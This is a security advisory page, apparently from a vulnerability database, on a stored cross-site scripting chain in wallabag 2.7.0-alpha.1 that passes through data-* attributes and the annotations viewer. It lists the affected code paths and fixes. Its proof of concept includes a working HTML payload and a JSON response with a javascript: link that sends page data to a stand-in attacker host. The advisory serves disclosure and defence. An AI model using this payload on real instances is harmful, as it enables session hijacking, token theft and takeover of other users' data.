New from Wiz Research: Critical NGINX flaw. Understand the risk and impact.
Vulnerability DatabaseGHSA-hg3m-q4fj-ggmq

GHSA-hg3m-q4fj-ggmq: 
PHP vulnerability analysis and mitigation

Summary

wallabag 2.7.0-alpha.1 lets all data-* attributes through its HTML sanitizer (htmLawed) and renders entry content with |raw. Stimulus treats those attributes as component configuration, so attacker-authored content can instantiate the annotations controller with attacker-controlled URLs. The annotation JSON supplies links[].href, which annotator writes into the viewer without scheme validation; a javascript: link runs in the victim's session on click.

Details

Affected: 2.7.0-alpha.1 and master (2.7.0-dev). 2.6.x is not affected: it has no Stimulus. Chain:

  1. src/Helper/ContentProxy.php:50 -> Graby::cleanupHtml() -> htmLawed with safe=1 allows every data-* attribute.
  2. templates/Entry/entry.html.twig:363-370 mounts the annotations controller and renders {{ entry.content|raw }} inside it.
  3. assets/controllers/annotations_controller.js:5-11,31,50 reads the four URLs from data-annotations-*-value and queries the search URL on connect.
  4. node_modules/annotator/src/ui/viewer.js:252 sets the link href from links[0].href with no scheme allowlist. Fix: strip data-controller, data-action, data-*-value/target/outlet from stored entry content; add an http(s) allowlist for links[].href in the viewer. Reproduction used the API content parameter (the report's second delivery path). The fetch path runs the same cleanup; cleanupHtml() on a normal article preserves the payload (verified).

Proof of concept

  1. Install 2.7.0-alpha.1, log in as any user.
  2. Create an entry whose content is:

<div data-controller="annotations" data-annotations-entry-id-value="1" data-annotations-search-url-value="https://attacker.example/c"> <p>View the original webpage for this article</p> </div> 3. https://attacker.example/c returns, with Access-Control-Allow-Origin: *: {"rows":[{"id":1, "ranges":[{"start":"/p[1]","startOffset":0,"end":"/p[1]","endOffset":36}], "links":[{"rel":"alternate","type":"text/html", "href":"javascript:void(document.title='XSS_OK',(new Image()).src='https://attacker.example/x?d='+encodeURIComponent(document.title))"}], "text":"View the original webpage"}]} 4. Open /view/{id}. The page requests /c?entry=1, highlights the text; hover it and click "View as webpage". 5. Observed: request to /c, then document.title = XSS_OK and GET /x?d=XSS_OK. Notes: ranges must point to an element (/p[1]), not a text node; offsets are text offsets. Use https endpoints when the instance is https. For the full fetch path, use a public attacker host; 2.7 blocks private/reserved addresses.

Impact

Same-origin script execution in the victim's wallabag session: read all entries and annotations, read /config (RSS/OPDS tokens in cleartext), create/delete annotations and tokens. If the victim is a superadmin: read /settings and /users, create users, edit other users -> practical instance takeover. Requires saving the attacker page and one click; HttpOnly cookies are not exposed, but same-origin reads are sufficient.


Source: NVD

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-hg3m-q4fj-ggmqCRITICAL9.3
  • PHP logoPHP
  • wallabag/wallabag
NoNoNov 20, 2026
CVE-2026-63012MEDIUM6.5
  • PHP logoPHP
  • baserproject/baser-core
NoYesNov 19, 2026
GHSA-crpp-mf59-rhpqMEDIUMN/A
  • PHP logoPHP
  • api-platform/core
NoYesNov 20, 2026
GHSA-9wh3-m3m5-jffxMEDIUMN/A
  • PHP logoPHP
  • nowo-tech/transaction-doctrine
NoYesNov 20, 2026
GHSA-65w2-9r4h-848gMEDIUMN/A
  • PHP logoPHP
  • nowo-tech/transaction-doctrine
NoYesNov 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management